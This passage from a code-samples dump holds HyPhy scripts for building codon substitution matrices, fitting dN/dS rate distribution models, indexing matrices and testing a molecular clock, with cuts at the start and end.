\t\t{\n\t\t\t  \t\t\tif(diff%16==0)\n\t\t\t  \t\t\t{\n\t\t\t  \t\t\t\ttransition = v$16;\n\t\t\t  \t\t\t\ttransition2= h$16;\n\t\t\t  \t\t\t}\n\t\t\t  \t\t\telse\n\t\t\t  \t\t\t{\n\t\t\t  \t\t\t\ttransition = v%16$4;\n\t\t\t  \t\t\t\ttransition2= h%16$4;\n\t\t\t  \t\t\t}\n\t\t\t  \t\t}\n\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t  \t\t{\n\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := t*EFV__[transition__];\n\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := t*EFV__[transition2__];\n\t\t\t\t  \t}\n\t\t\t  \t\telse\n\t\t\t  \t\t{\n\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*t*EFV__[transition__];\n\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*t*EFV__[transition2__];\n\t\t  \t\t\t}\n\t\t\t  \t}\n\t\t\t  }\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (modelType==1)\n\t\t{\n\t\t\tfor (h=0; h<64; h=h+1)\n\t\t\t{\n\t\t\t\tif (_Genetic_Code[h]==10) \n\t\t\t\t{\n\t\t\t\t\thshift = hshift+1;\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t\tvshift = hshift;\n\t\t\t\tfor (v = h+1; v<64; v=v+1)\n\t\t\t\t{\n\t\t\t\t\tdiff = v-h;\n\t\t\t\t\tif (_Genetic_Code[v]==10) \n\t\t\t\t\t{\n\t\t\t\t\t\tvshift = vshift+1;\n\t\t\t\t\t\tcontinue; \n\t\t\t\t\t}\n\t\t\t\t\tnucPosInCodon = 2;\n\t\t\t\t  \tif ((h$4==v$4)||((diff%4==0)&&(h$16==v$16))||(diff%16==0))\n\t\t\t\t  \t{\n\t\t\t\t  \t\tif (h$4==v$4)\n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\ttransition = v%4;\n\t\t\t\t  \t\t\ttransition2= h%4;\n\t\t\t\t  \t\t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tif(diff%16==0)\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\ttransition = v$16;\n\t\t\t\t  \t\t\t\ttransition2= h$16;\n\t\t\t\t\t\t\t\tnucPosInCodon = 0;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t\telse\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\ttransition = v%16$4;\n\t\t\t\t  \t\t\t\ttransition2= h%16$4;\n\t\t\t\t\t\t\t\tnucPosInCodon = 1;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t}\n\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := t*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := t*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t  \t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*t*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*t*EFV__[transition2__][nucPosInCodon__];\n\t\t\t  \t\t\t}\n\t\t\t\t  \t}\n\t\t\t\t  }\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (h=0; h<64; h=h+1)\n\t\t\t{\n\t\t\t\tif (_Genetic_Code[h]==10) \n\t\t\t\t{\n\t\t\t\t\thshift = hshift+1;\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t\tvshift = hshift;\n\t\t\t\tfor (v = h+1; v<64; v=v+1)\n\t\t\t\t{\n\t\t\t\t\tdiff = v-h;\n\t\t\t\t\tif (_Genetic_Code[v]==10) \n\t\t\t\t\t{\n\t\t\t\t\t\tvshift = vshift+1;\n\t\t\t\t\t\tcontinue; \n\t\t\t\t\t}\n\t\t\t\t  \tif ((h$4==v$4)||((diff%4==0)&&(h$16==v$16))||(diff%16==0))\n\t\t\t\t  \t{\n\t\t\t\t  \t\tif (h$4==v$4)\n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\ttransition = v%4;\n\t\t\t\t  \t\t\ttransition2= h%4;\n\t\t\t\t  \t\t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tif(diff%16==0)\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\ttransition = v$16;\n\t\t\t\t  \t\t\t\ttransition2= h$16;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t\telse\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\ttransition = v%16$4;\n\t\t\t\t  \t\t\t\ttransition2= h%16$4;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t}\n\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tif (Abs(transition-transition2)%2)\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\tModelMatrixName[h-hshift][v-vshift] := kappa*t;\n\t\t\t\t  \t\t\t\tModelMatrixName[v-vshift][h-hshift] := kappa*t;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t\telse\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\tModelMatrixName[h-hshift][v-vshift] := t;\n\t\t\t\t  \t\t\t\tModelMatrixName[v-vshift][h-hshift] := t;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t\t\n\t\t\t\t\t  \t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tif (Abs(transition-transition2)%2)\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\tModelMatrixName[h-hshift][v-vshift] := kappa*c*t;\n\t\t\t\t  \t\t\t\tModelMatrixName[v-vshift][h-hshift] := kappa*c*t;\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t\telse\n\t\t\t\t  \t\t\t{\n\t\t\t\t  \t\t\t\tModelMatrixName[h-hshift][v-vshift] := c*t;\n\t\t\t\t  \t\t\t\tModelMatrixName[v-vshift][h-hshift] := c*t;\n\t\t\t\t  \t\t\t}\n\t\t\t\t\t  \t}\n\t\t\t\t  \t}\t\n\t\t\t\t }\n\t\t\t}\t\n\t\t}\n\t }\n\t return (modelType>1);\n}\n\n/* ____________________________________________________________________________________________________________________*/\n\nfunction PopulateModelMatrix2 (ModelMatrixName&, EFV)\n{\n\tModelMatrixName = {ModelMatrixDimension,ModelMatrixDimension}; \n\n\thshift = 0;\n\t\n\tfor (h=0; h<64; h=h+1)\n\t{\n\t\tif (_Genetic_Code[h]==10) \n\t\t{\n\t\t\thshift = hshift+1;\n\t\t\tcontinue; \n\t\t}\n\t\tvshift = hshift;\n\t\tfor (v = h+1; v<64; v=v+1)\n\t\t{\n\t\t\tdiff = v-h;\n\t\t\tif (_Genetic_Code[v]==10) \n\t\t\t{\n\t\t\t\tvshift = vshift+1;\n\t\t\t\tcontinue; \n\t\t\t}\n\t\t  \tif ((h$4==v$4)||((diff%4==0)&&(h$16==v$16))||(diff%16==0))\n\t\t  \t{\n\t\t  \t\tif (h$4==v$4)\n\t\t  \t\t{\n\t\t  \t\t\ttransition = v%4;\n\t\t  \t\t\ttransition2= h%4;\n\t\t  \t\t}\n\t\t  \t\telse\n\t\t  \t\t{\n\t\t  \t\t\tif(diff%16==0)\n\t\t  \t\t\t{\n\t\t  \t\t\t\ttransition = v$16;\n\t\t  \t\t\t\ttransition2= h$16;\n\t\t  \t\t\t}\n\t\t  \t\t\telse\n\t\t  \t\t\t{\n\t\t  \t\t\t\ttransition = v%16$4;\n\t\t  \t\t\t\ttransition2= h%16$4;\n\t\t  \t\t\t}\n\t\t  \t\t}\n\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t  \t\t{\n\t\t  \t\t\tif (Abs(transition-transition2)%2)\n\t\t  \t\t\t{\n\t\t  \t\t\t\tExecuteCommands (\"ModelMatrixName[h-hshift][v-vshift] := kappa\"+l+\"*t;ModelMatrixName[v-vshift][h-hshift] := kappa\"+l+\"*t;\");\n\t\t  \t\t\t}\n\t\t  \t\t\telse\n\t\t  \t\t\t{\n\t\t  \t\t\t\tModelMatrixName[h-hshift][v-vshift] := t;\n\t\t  \t\t\t\tModelMatrixName[v-vshift][h-hshift] := t;\n\t\t  \t\t\t}\n\t\t  \t\t\t\n\t\t\t  \t}\n\t\t  \t\telse\n\t\t  \t\t{\n\t\t  \t\t\tif (Abs(transition-transition2)%2)\n\t\t  \t\t\t{\n\t\t  \t\t\t\tExecuteCommands (\"ModelMatrixName[h-hshift][v-vshift] := c*kappa\"+l+\"*t;ModelMatrixName[v-vshift][h-hshift] := c*kappa\"+l+\"*t;\");\n\t\t  \t\t\t}\n\t\t  \t\t\telse\n\t\t  \t\t\t{\n\t\t  \t\t\t\tModelMatrixName[h-hshift][v-vshift] := c*t;\n\t\t  \t\t\t\tModelMatrixName[v-vshift][h-hshift] := c*t;\n\t\t  \t\t\t}\n\t\t\t  \t}\n\t\t  \t}\t\n\t\t }\n\t}\t\n\treturn 1;\n}\n/* ____________________________________________________________________________________________________________________*/\n\nfunction spawnLikelihood (kappaSharedOrNot)\n{\n\tif (kappaSharedOrNot)\n\t{\n\t\tfor (l=0; l<numberOfSubsets;l=l+1)\n\t\t{\n\t\t\tif (modelType<=1)\n\t\t\t{\n\t\t\t\tExecuteCommands (\"modelMatrix\"+l+\" = 0;MULTIPLY_BY_FREQS = PopulateModelMatrix (\\\"modelMatrix\"+l+\"\\\", observedFreq\"+l+\");\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tExecuteCommands (\"modelMatrix\"+l+\" = 0;MULTIPLY_BY_FREQS = PopulateModelMatrix2 (\\\"modelMatrix\"+l+\"\\\", observedFreq\"+l+\");\");\n\t\t\t}\t\t\t\n\t\t\tExecuteCommands (\"Model theModel\"+l+\" = (modelMatrix\"+l+\",vectorOfFrequencies\"+l+\",MULTIPLY_BY_FREQS);\");\n\t\t\tpartitionTreeString=partitionTrees[l];\n\t\t\tExecuteCommands (\"Tree subsetTree\"+l+\"=partitionTreeString;\");\n\t\t}\t\n\t}\n\telse\n\t{\n\t\tMULTIPLY_BY_FREQS = PopulateModelMatrix (\"modelMatrix\", observedFreq);\n\t\tModel theModel = (modelMatrix,vectorOfFrequencies,MULTIPLY_BY_FREQS);\n\t\tfor (v=0; v<numberOfSubsets;v=v+1)\n\t\t{\n\t\t\tpartitionTreeString=partitionTrees[v];\n\t\t\tExecuteCommands (\"Tree subsetTree\"+v+\"=partitionTreeString;\");\n\t\t}\n\t}\n\tlfSpawnString = \"LikelihoodFunction lf = (\";\n\tfor (v=0; v<numberOfSubsets;v=v+1)\n\t{\n\t\tif (v)\n\t\t{\n\t\t\tlfSpawnString = lfSpawnString+\",\";\n\t\t}\n\t\tlfSpawnString = lfSpawnString+\"subsetFilter\"+v+\",subsetTree\"+v;\n\t}\n\tlfSpawnString = lfSpawnString+\");\";\n\tExecuteCommands (lfSpawnString);\n\treturn 0;\n}\n\n\n/* ____________________________________________________________________________________________________________________*/\n\nNICETY_LEVEL = 3;\n\n#include \"TemplateModels/chooseGeneticCode.def\";\n\nModelMatrixDimension = 64;\nfor (h = 0 ;h<64; h=h+1)\n{\n\tif (_Genetic_Code[h]==10)\n\t{\n\t\tModelMatrixDimension = ModelMatrixDimension-1;\n\t}\n}\n\n#include \"MFPSreader.def\";\n\n/* now spawn the dataset filters */\n\n\nlowerSeqBound = 0;\nfor (modelType=0; modelType<numberOfSubsets; modelType = modelType+1)\n{\n\tExecuteCommands (\"DataSetFilter   subsetFilter\"+modelType+\"= CreateFilter (ds,3,\\\"\\\",(speciesIndex>=lowerSeqBound)&&(speciesIndex<lowerSeqBound+partitionLengths[modelType]),GeneticCodeExclusions);\");\n\tlowerSeqBound = lowerSeqBound+partitionLengths[modelType];\n}\n\nchosenModelList = {17,1};\n\nChoiceList (modelType,\"Distributions\",1,SKIP_NONE,\n\t\t\t\"Run All\",\"Run all available dN/dS distributions\",\n\t\t\t\"Run Custom\",\"Choose from available dN/dS distributions.\");\n\t\t\t\nif (modelType<0)\n{\n\treturn;\n}\n\nif (modelType==0)\n{\n\tfor (rateType = 0; rateType<17; rateType=rateType+1)\n\t{\n\t\tchosenModelList[rateType][0] = 1;\n\t}\n}\nelse\n{\n\tChoiceList (modelTypes,\"Distributions\",0,SKIP_NONE,\n\t\t\t\t\"Single Rate\",\"Single Rate\",\n\t\t\t\t\"Neutral\",\"Neutral\",\n\t  \t\t\t\"Selection\",\"Selection\",\n\t\t\t    \"Discrete\",\"Discrete\",\n\t\t\t    \"Freqs\",\"Freqs\",\n\t\t\t    \"Gamma\",\"Gamma\",\n\t\t\t    \"2 Gamma\",\"2 Gamma\",\n\t\t\t    \"Beta\",\"Beta\",\n\t\t\t    \"Beta & w\",\"Beta & w\",\n\t\t\t    \"Beta & Gamma\",\"Beta & Gamma\",\n\t\t\t    \"Beta & (Gamma+1)\",\"Beta & (Gamma+1)\",\n\t\t\t    \"Beta & (Normal>1)\",\"Beta & (Normal>1)\",\n\t\t\t    \"0 & 2 (Normal>1)\",\"0 & 2 (Normal>1)\",\n\t\t\t    \"3 Normal\",\"3 Normal\",\n\t\t\t    \"RE:Log normal\",\"Random Effects: Log normal\",\n\t\t\t    \"RE:Gamma\",\"Random Effects: Gamma\",\n\t\t\t    \"RE:Discrete\",\"Random Effects: 3 bin Discrete\");\n\t\t\t    \n\tif (modelTypes[0]<0)\n\t{\n\t\treturn;\n\t}\n\tfor (rateType = 0; rateType < Rows(modelTypes)*Columns(modelTypes); rateType = rateType + 1)\n\t{\n\t\tmodelType = modelTypes[rateType];\n\t\tchosenModelList[modelType] = 1;\n\t}\n}\n\nChoiceList (shareType,\"Choose parameter sharing mode\",1,SKIP_NONE,\n\t\t\t\"All\",\"Share dN/dS, transversion/transition ratio (if applicable) and base frequencies for all subsets.\",\n\t\t\t\"dN/dS Only\",\"Share only dN/dS. Transversion/transition ratio (if applicable) and base frequencies are separate for each subset.\"\n);\n\nif (shareType<0)\n{\n\treturn;\n}\n\nChoiceList (modelType,\"Choose a model\",1,SKIP_NONE,\n\t\t\t\"MG94 1x4\",\"Muse-Gaut 94 model with 4(-1) nucleotide frequency parameters (intra-codon position independent).\",\n\t\t\t\"MG94 3x4\",\"Muse-Gaut 94 model with 12(-3) nucleotide frequency parameters (intra-codon position specific).\",\n\t\t\t\"GY94 1x4\",\"Goldman-Yang 94 model with 4(-1) nucleotide frequency parameters (intra-codon position independent).\",\n\t\t\t\"GY94 3x4\",\"Goldman-Yang 94 model with 12(-3) nucleotide frequency parameters (intra-codon position specific).\"\n);\n\nif (modelType<0)\n{\n\treturn;\n}\n\nif ((modelType==0)||(modelType==2))\n{\n\tif (shareType==0)\n\t{\n\t\tHarvestFrequencies (observedFreq,filteredData,1,1,0);\n\t\tvectorOfFrequencies = BuildCodonFrequencies4 (observedFreq);\n\t}\n\telse\n\t{\n\t\tfor (v=0; v<numberOfSubsets;v=v+1)\n\t\t{\n\t\t\tExecuteCommands (\"global kappa\"+v+\"=2.;HarvestFrequencies (observedFreq\"+v+\",subsetFilter\"+v+\",1,1,0);vectorOfFrequencies\"+v+\"= BuildCodonFrequencies4 (observedFreq\"+v+\");\");\n\t\t}\t\t\n\t}\n}\nelse\n{\n\tif (shareType==0)\n\t{\n\t\tHarvestFrequencies (observedFreq,filteredData,3,1,1);\n\t\tvectorOfFrequencies = BuildCodonFrequencies12 (observedFreq);\n\t}\n\telse\n\t{\n\t\tfor (v=0; v<numberOfSubsets;v=v+1)\n\t\t{\n\t\t\tExecuteCommands (\"global kappa\"+v+\"=2.;HarvestFrequencies (observedFreq\"+v+\",subsetFilter\"+v+\",3,1,1);vectorOfFrequencies\"+v+\"= BuildCodonFrequencies12 (observedFreq\"+v+\");\");\n\t\t}\t\t\n\t}\n}\n\nif (modelType>1)\n{\t\n\tglobal kappa = 2.;\n}\n\nfprintf (stdout, \"\\n\\n\\nChoose the cutoff (0 to 1) for posterior of dN/dS>1 for a site to be considered under selective pressure:\");\nfscanf  (stdin, \"Number\",psigLevel);\nif ((psigLevel <= 0)||(psigLevel>1))\n{\n\tpsigLevel = .95;\n}\nfprintf (stdout, \"\\n>Using \", psigLevel , \" cutoff\\n\");\n\nfprintf (stdout, \"\\nChoose the number of categories in discretized distributions:\");\nfscanf  (stdin, \"Number\",categCount);\ncategCount = categCount$1;\nif (categCount<=0)\n{\n\tcategCount = 8;\n}\n\nfprintf (stdout, \"\\n>Using \", Format (categCount,0,0), \" categories.\\n\");\n\nSetDialogPrompt (\"Write detailed results to:\");\n\nfprintf (PROMPT_FOR_FILE,CLEAR_FILE);\n\nglobal c = 1.;\n\ndummyVar = FrameText (\"-\",\"|\",2,\"SUMMARY TABLE\");\ntableSeparator =  \"+-------------------------+----------------+---------------+-----+\\n\";\nfprintf (stdout, \"\\n\\\"p\\\" is the number of parameters in addition to the branch lengths.\\nDetailed results including sites with dN/dS>1 will be written to\\n\",LAST_FILE_PATH,\"\\n\\n\");\nfprintf (stdout, tableSeparator,\n\t\t\t\t \"| MODEL (Number & Desc)   | Log likelihood | \t   dN/dS     |  p  |\\n\",\n\t\t\t\t tableSeparator);\n\t\t\t\t \ncachedBranchLengths = {{-1,-1}};\n\t\t\t\t \nif (chosenModelList[0]>0)\n{\n\ttimer = Time(1);\n\tfprintf (LAST_FILE_PATH,\"\\n*** RUNNING SINGLE RATE MODEL ***\\n#################################\\n\");\n\tdummy = spawnLikelihood (shareType);\n\tOptimize (res,lf);\n\tfprintf (LAST_FILE_PATH,\"\\n>Done in \", Time(1)-timer, \" seconds \\n\\n\");\n\tfprintf (LAST_FILE_PATH,lf,\"\\n\\n-----------------------------------\\n\\ndN/dS = \",c,\"\\n\\n\");\n\n\tfprintf (stdout, \"|  0. Single Rate Model   | \",Format (res[1][0],14,6),\" | \",Format (c,13,8),\" |  0  |\\n\",\n\t\t\t\t\t tableSeparator);\n\t\t\t\t\t \n\ttimer = res[1][1]-res[1][2];\n\tcachedBranchLengths = {timer,1};\n\t\n\tfor (rateType = timer; rateType < Columns(cachedBranchLengths); rateType = rateType+1)\n\t{\n\t\tcachedBranchLengths[rateType-timer][0] = res [0][rateType];\n\t}\n}\n\nfor (rateType = 0; rateType < 16; rateType = rateType + 1)\n{\n\tif (chosenModelList[rateType+1]==0)\n\t{\n\t\tcontinue;\n\t}\n\ttimer = Time(1);\n\tdummy = SetWDistribution (categCount);\n\tdummy = spawnLikelihood (shareType);\n\t\n\tfprintf (LAST_FILE_PATH,\"\\n*** RUNNING MODEL \", Format(rateType+1,0,0), \" (\",ModelNames[rateType],\") ***\\n######################################\\n\");\n\t/*if (cachedBranchLengths[0][0]>=0.0)\n\t{\n\t\tv = ParameterCount[rateType];\n\t\tif (modelType>1)\n\t\t{\n\t\t\tv=v+1;\n\t\t}\n\t\tfor (h=0; h<Rows(cachedBranchLengths); h=h+1)\n\t\t{\n\t\t\tSetParameter (lf,h+v,cachedBranchLengths[h][0]);\n\t\t}\n\t}*/\n\tOptimize (res,lf);\n\tfprintf (LAST_FILE_PATH,\"\\n>Done in \",Time(1)-timer, \" seconds \\n\\n\", lf);\n\tfprintf (stdout, \"| \");\n\tif (rateType<9)\n\t{\n\t\tfprintf (stdout,\" \");\n\t}\n\tfprintf (stdout, Format (rateType+1,0,0), \". \", ModelNames[rateType]);\n\tfor (dummy = Abs(ModelNames[rateType])+5; dummy<25; dummy = dummy+1)\n\t{\n\t\tfprintf (stdout,\" \");\n\t}\n\tdummy = GetDistributionParameters(psigLevel);\n\tfprintf (stdout,\"| \",Format (res[1][0],14,6),\" | \",Format (dummy,13,8),\" |  \",\n\t\t\t\t\t\t Format(ParameterCount[rateType],0,0),\"  |\\n\",tableSeparator);\n\n\tif (modelType>1)\n\t{\t\n\t\tkappa = 2.;\n\t}\n}\n"
  },
  {
    "path": "samples/HyPhy/MatrixIndexing.bf",
    "content": "fprintf (stdout, \"\\n1). Spawning a zero-populated 5x6 matrix and setting it's values to random numbers in [0,1].\\n\");\raMatrix = {5,6};\raMatrix = aMatrix [\"Random(0,1)\"];\rfprintf (stdout, aMatrix, \"\\n\");\r\rfprintf (stdout, \"\\n2). Accessing a second-row third-column element and a random element.\\n\\n\");\rr = Random (0, Rows(aMatrix))$1;\rc = Random (0, Columns(aMatrix))$1;\rfprintf (stdout, \"matrix[1][2]=\", aMatrix[1][2], \"\\nmatrix[\", r , \"][\" , c, \"]=\", aMatrix[r][c], \"\\n\");\r\rfprintf (stdout, \"\\n3). Accessing the fourth row.\\n\\n\");\rfprintf (stdout, \"matrix[3][-1]=\\n\", aMatrix[3][-1],\"\\n\");\r\rfprintf (stdout, \"\\n4). Accessing the first column.\\n\\n\");\rfprintf (stdout, \"matrix[-1][0]=\\n\", aMatrix[-1][0],\"\\n\");\r\rfprintf (stdout, \"\\n5). Populating a matrix template (below the diagonal).\\n\\n\");\rtemplate={5,6};\rtemplate=template[\"_MATRIX_ELEMENT_ROW_>_MATRIX_ELEMENT_COLUMN_\"];\rfprintf (stdout, template ,\"\\n\");\r\rfprintf (stdout, \"\\n6). Extracting (by row) matrix elements using the template.\\n\\n\");\rfprintf (stdout, aMatrix[template] ,\"\\n\");\r\rfprintf (stdout, \"\\n7). Extracting a submatrix: top left corner at (1,1) - bottom right corner at (3,2).\\n\\n\");\rfprintf (stdout, \"matrix[{{1,1}}][{{3,2}}]=\\n\", aMatrix[{{1,1}}][{{3,2}}],\"\\n\");\r\rfprintf (stdout, \"\\n8). Returning a matrix in which all elements are squared and above diagonal elements are further increased by 1.\\n\\n\");\rfprintf (stdout, \"\\n\", aMatrix[\"_MATRIX_ELEMENT_VALUE_^2+(_MATRIX_ELEMENT_ROW_<_MATRIX_ELEMENT_COLUMN_)\"],\"\\n\");\r\r"
  },
  {
    "path": "samples/HyPhy/MolecularClock.bf",
    "content": "#include \"molclockBootstrap.bf\";\n\nRESTORE_GLOBALS \t= 1;\n_DO_TREE_REBALANCE_ = 0;\nVERBOSITY_LEVEL     = -1;\n\nfunction RestoreGlobalValues (lfIndex)\n{\n\tif (lfIndex==0)\n\t{\n\t\tfor (i=0;i<SAVE_GLOBALS;i=i+1)\n\t\t{\n\t\t\tSetParameter (lf,i,globalSpoolMatrix[i]);\n\t\t}\n\t}\n\tif (lfIndex==1)\n\t{\n\t\tfor (i=0;i<SAVE_GLOBALS2;i=i+1)\n\t\t{\n\t\t\tSetParameter (lfConstrained,i,globalSpoolMatrix2[i]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n\n\nfprintf(stdout,\"\\n ---- RUNNING MOLECULAR CLOCK ANALYSIS ---- \\n\");\n\nChoiceList (dataType,\"Data type\",1,SKIP_NONE,\"Nucleotide/Protein\",\"Nucleotide or amino-acid (protein).\",\n\t\t\t\t     \"Codon\",\"Codon (several available genetic codes).\");\n\nif (dataType<0) \n{\n\treturn;\n}\nif (dataType)\n{\n\tNICETY_LEVEL = 3;\n\t#include \"TemplateModels/chooseGeneticCode.def\";\n}\n\nSetDialogPrompt (\"Choose the data file:\");\n\nDataSet ds = ReadDataFile (PROMPT_FOR_FILE);\n\nfprintf (stdout,\"The following data was read:\\n\",ds,\"\\n\");\n\nif (dataType)\n{\n\tDataSetFilter filteredData = CreateFilter (ds,3,\"\",\"\",GeneticCodeExclusions);\n}\nelse\n{\n\tDataSetFilter filteredData = CreateFilter (ds,1);\n}\n\nSelectTemplateModel(filteredData);\n\n#include \"queryTree.bf\";\n\nglobal RelRatio;\n\nRelRatio = 1.0;\n\nrelationString = \":=RelRatio*\";\n\nparameter2Constrain = 0;\n\nif (Rows(\"LAST_MODEL_PARAMETER_LIST\")>1)\n{\n\tChoiceList (parameter2Constrain, \"Parameter(s) to constrain:\",1,SKIP_NONE,LAST_MODEL_PARAMETER_LIST);\n\n\tif (parameter2Constrain<0)\n\t{\n\t\treturn;\n\t}\n\tif (parameter2Constrain==0)\n\t{\n\t\tparameter2ConstrainString = \"\";\n\t\tfor (parameter2Constrain=Rows(\"LAST_MODEL_PARAMETER_LIST\")-1; parameter2Constrain; parameter2Constrain = parameter2Constrain-1)\n\t\t{\n\t\t\tGetString (funnyString,LAST_MODEL_PARAMETER_LIST,parameter2Constrain);\n\t\t\tparameter2ConstrainString = parameter2ConstrainString + funnyString + \",\";\n\t\t}\n\t\tGetString (funnyString,LAST_MODEL_PARAMETER_LIST,0);\n\t\tparameter2ConstrainString = parameter2ConstrainString + funnyString;\n\t}\n\telse\n\t{\n\t\tGetString (parameter2ConstrainString,LAST_MODEL_PARAMETER_LIST,parameter2Constrain-1);\n\t}\n}\nelse\n{\n\tGetString (parameter2ConstrainString,LAST_MODEL_PARAMETER_LIST,0);\n}\n\ntimer = Time(0);\n\nLikelihoodFunction lf = (filteredData,givenTree);\n\nOptimize (res,lf);\n\nseparator = \"*-----------------------------------------------------------*\";\n\nfprintf (stdout, \"\\n\", separator, \"\\nRESULTS WITHOUT THE CLOCK:\\n\",lf);\n\nfullModelLik = res[1][0];\n\nfullVars = res[1][1];\n\n/* now specify the constraint */\n\nTree clockTree = treeString;\n\nExecuteCommands (\"MolecularClock (clockTree,\"+parameter2ConstrainString+\");\");\n\nLikelihoodFunction lfConstrained = (filteredData, clockTree);\n\nUSE_LAST_RESULTS = 1;\nOptimize (res1,lfConstrained);\nUSE_LAST_RESULTS = 0;\n\nSAVE_GLOBALS = res1[1][2];\n\nif (SAVE_GLOBALS)\n{\n\tglobalSpoolMatrix = {1,SAVE_GLOBALS};\n\n\tfor (i=0;i<SAVE_GLOBALS;i=i+1)\n\t{\n\t\tglobalSpoolMatrix[i]=res1[0][i];\n\t}\n}\n\nfprintf (stdout, \"\\n\", separator,\"\\n\\nRESULTS WITH THE CLOCK:\\n\",lfConstrained);\n\nlnLikDiff = 2(fullModelLik-res1[1][0]);\n\ndegFDiff = fullVars - res1[1][1];\n\nfprintf (stdout, \"\\n\", separator,\"\\n\\n-2(Ln Likelihood Ratio)=\",lnLikDiff,\"\\n\",\"Constrained parameters:\",Format(degFDiff,0,0));\n\nfprintf (stdout, \"\\nP-Value:\",1-CChi2(lnLikDiff,degFDiff));\n\nfprintf (stdout, \"\\nCPU time taken: \", Time(0)-timer, \" seconds.\\n\");\n"
  },
  {
    "path": "samples/HyPhy/dNdSDistributionComparison.bf",
    "content": "/* Written by SL Kosakovsky Pond (sergeilkp@mac.com) October 2006 */\n/* This analysis uses a 4 bin general bivariate discrete distributions, \n   with 2 negatively selected classes, a positively selected class and a neutral class,\n   to compare the distributions of dS and dN in two data sets.\n   \n   The tests done:\n   \n   - Are the distributions the same?\n   - Are there the same proportions of sites with dN>dS in the data sets?\n   - Do the sites under positive selection share the same dN/dS?\n   - Two previous tests combined\n*/\n\nRequireVersion (\"0.9920061001\");\n\n/*---------------------------------------------------------------------------------------------------------------------------------------------------*/\n\nfunction BuildCodonFrequencies (obsF)\n{\n\tPIStop = 1.0;\n\tresult = {ModelMatrixDimension,1};\n\thshift = 0;\n\n\tfor (h=0; h<64; h=h+1)\n\t{\n\t\tfirst = h$16;\n\t\tsecond = h%16$4;\n\t\tthird = h%4;\n\t\tif (_Genetic_Code[h]==10) \n\t\t{\n\t\t\thshift = hshift+1;\n\t\t\tPIStop = PIStop-obsF[first][0]*obsF[second][1]*obsF[third][2];\n\t\t\tcontinue; \n\t\t}\n\t\tresult[h-hshift][0]=obsF[first][0]*obsF[second][1]*obsF[third][2];\n\t}\n\treturn result*(1.0/PIStop);\n}\n\n/*---------------------------------------------------------------------------------------------------------------------------------------------------*/\n\nfunction ReportDistributionString (rc,freqStrMx,infix, skip0)\n{\n\tdistroString = \"\";\n\tdistroString * 1024;\n\t\n\treportMx = {rc,4};\n\t\n\tdistroString * (\"   dN/dS      dS      dN      Prob\\n\");\n\tfor (mi=0; mi<rc; mi=mi+1)\n\t{\n\t\tExecuteCommands (\"reportMx[mi][0]=S_\"+infix+mi+\"/c_\"+infix+\"scale;\");\n\t\tExecuteCommands (\"reportMx[mi][1]=NS_\"+infix+mi+\"/c_\"+infix+\"scale;\");\n\t\treportMx[mi][2] = reportMx[mi][1]/reportMx[mi][0];\n\t\tExecuteCommands (\"reportMx[mi][3]=\"+freqStrMx[mi]+\";\");\n\t\tif (skip0 == 0 || reportMx[mi][3] > 0)\n\t\t{\n\t\t\tdistroString * (Format(reportMx[mi][2],8,3)+Format(reportMx[mi][0],8,3)+Format(reportMx[mi][1],8,3)+Format(reportMx[mi][3],10,3)+\"\\n\");\n\t\t}\n\t}\t\t\t\t\t\t\t\t   \n\t\n\tdistroString * 0;\n\treturn distroString;\n}\n\n/*---------------------------------------------------------------------------------------------------------------------------------------------------*/\n\nfunction DefineNucleotideBiases (dummy)\n{\n\tModelTitle \t\t\t\t= \"MG94x\"+modelDesc[0];\n\tmodelConstraintString = \"\";\n\n\tfor (customLoopCounter2=0; customLoopCounter2<6; customLoopCounter2=customLoopCounter2+1)\n\t{\n\t\tif (rateBiasTerms[customLoopCounter2] != \"1\")\n\t\t{\n\t\t\tExecuteCommands (\"global \" + rateBiasTerms[customLoopCounter2] + \"=1;\");\n\t\t}\n\t}\n\n\tfor 